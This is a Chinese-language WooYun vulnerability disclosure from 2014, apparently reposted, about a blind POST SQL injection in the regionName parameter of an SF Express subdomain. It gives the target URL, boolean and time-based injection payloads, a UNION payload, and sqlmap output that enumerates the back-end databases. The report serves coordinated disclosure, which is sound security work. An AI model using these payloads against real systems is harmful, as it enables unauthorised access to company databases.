[公开漏洞]顺丰速运某分站注入漏洞

来源：WooYun　浏览：687次　时间：2014-06-19

顺丰速运某分站注入漏洞相关厂商：顺丰速运漏洞作者：greg.wu 提交时间：2014-05-05 14:01 公开时间：2014-06-19 14:01 漏洞类型：SQL注射漏洞危害等级：高自评Rank：15 漏洞状态：厂商已经确认漏洞来源：http://www.wooyun.org Tags标签： sql注入漏洞详情披露状态：

2014-05-05：细节已通知厂商并且等待厂商处理中
2014-05-05：厂商已经确认，细节仅向厂商公开
2014-05-15：细节向核心白帽子及相关领域专家公开
2014-05-25：细节向普通白帽子公开
2014-06-04：细节向实习白帽子公开
2014-06-19：细节向公众公开

简要描述：

顺丰速运某分站存在注入漏洞，盲注，post型

详细说明：

注入点：

http://ows-dfppe.sf-express.com/ows-dfp/$%7Bpath%7D/coverage_area!getCoverageCityList.action

post参数：

regionName=98605&level=3&lang=sc&region=us

其中regionName存在注入。

漏洞证明：

post数据：

regionName=98605%25' aND 1236=1236 aND '%25'='&level=3&lang=sc&region=us

返回正常，如图：

post数据：

regionName=98605%25' aND 1256=1236 aND '%25'='&level=3&lang=sc&region=us

返回异常

sqlmap跑库：

sqlmap identified the following injection points with a total of 38 HTTP(s) requests:

---

Place: POST

Parameter: regionName

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: regionName=98605%' AND 2644=2644 AND '%'='&level=3&lang=sc&region=us

Type: UNION query

Title: MySQL UNION query (NULL) - 2 columns

Payload: regionName=98605%' UNION ALL SELECT NULL,CONCAT(0x7174797371,0x44644d4352736b48514e,0x716c697871)#&level=3&lang=sc&region=us

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: regionName=98605%' AND SLEEP(5) AND '%'='&level=3&lang=sc&region=us

---

[12:56:43] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL 5.0.11

[12:56:43] [INFO] fetching database names

available databases [4]:

[*] information_schema

[*] mysql

[*] opencms

[*] test

[12:56:43] [WARNING] HTTP error codes detected during run:

404 (Not Found) - 21 times

[12:56:43] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/ows-dfppe.sf-express.com'